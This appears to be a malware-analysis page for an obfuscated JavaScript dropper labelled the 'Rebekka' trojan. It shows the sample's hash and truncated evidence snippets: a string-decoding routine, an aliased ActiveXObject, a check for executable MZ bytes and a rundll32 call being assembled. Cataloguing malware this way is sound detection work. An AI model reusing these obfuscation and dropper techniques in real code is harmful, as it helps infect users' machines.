Hostile ^100% javascript-malware-collection Download

20161220_927f31187250df22271aa59aee13a86c.js

Rebekka trojan, heavy obfuscation

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256ce37987f2fb9da98ca1211aba8305a2dce8049024549908c906982713b8953a1

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikbacterialFROG2XCOP = 0;	
9     var SupchikbacterialRazlomSS, SupchikbacterialFROG2ddDccC2, SupchikbacterialFROG2c3, SupchikbacterialFROG2c4;
10
11     var SupchikbacterialFROG2out = "";
12
13	 var SupchikbacterialFROG2Supchikbacterialka= this.replace(/FROSTICK/gi, SupchikbacterialFROG2out);
14 var  SupchikbacterialFROG2len = SupchikbacterialFROG2 …

charCodeAt() method call lines 18–20

7… r Supchikbacterialkoch = SupchikbacterialFROG2Supchikbacterialka.charCodeAt(SupchikbacterialFROG2XCOP++) &(0x132- 0x33);
          SupchikbacterialRazlomSS = levitron[Supchikbacterialkoch];
      } while (SupchikbacterialFROG2XCOP < Supchik …

Builds characters with String.fromCharCode lines 27–30

43… 1== 0)
          break;
      SupchikbacterialFROG2out += String['fromCharCode']((SupchikbacterialRazlomSS << 2) | ((SupchikbacterialFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikbacterialFROG2c3 = Supchik …

ActiveXObject via local alias lines 185–188

22… FROG2d2=SupchikbacterialFROG2DoUtra.pop();
186SupchikbacterialFROG2fabled="Valar2Morgulis";
var SupchikbacterialFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikbacterialFROG2d2.split("45");SupchikbacterialFROG2Native.SupchikbacterialFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikbacterialFROG2$type(a)= …

Checks array for PE magic bytes lines 257–264

82… abaev);	
if(SupchikbacterialTalabaevLaa < 29989)return false;
if (SupchikbacterialTalabaev[0]!= 77 || SupchikbacterialTalabaev[1]!= 90)return false;		
SupchikbacterialFROG2CHICKA = SupchikbacterialFROG2CHICKA  + SupchikbacterialFROG2SIDRENKOV;
REBEKK2(SupchikbacterialFROG2CHICKA, SupchikbacterialTalabaev );
262
var SupchikbacterialFROG2ddsSSddSd = ",happy";
264SupchikbacterialFROG2ddsSSddSd = (SupchikbacterialFROG2StrokaParam2,"undl") + (SupchikbacterialFROG2StrokaParam2,"l32 ") + Su …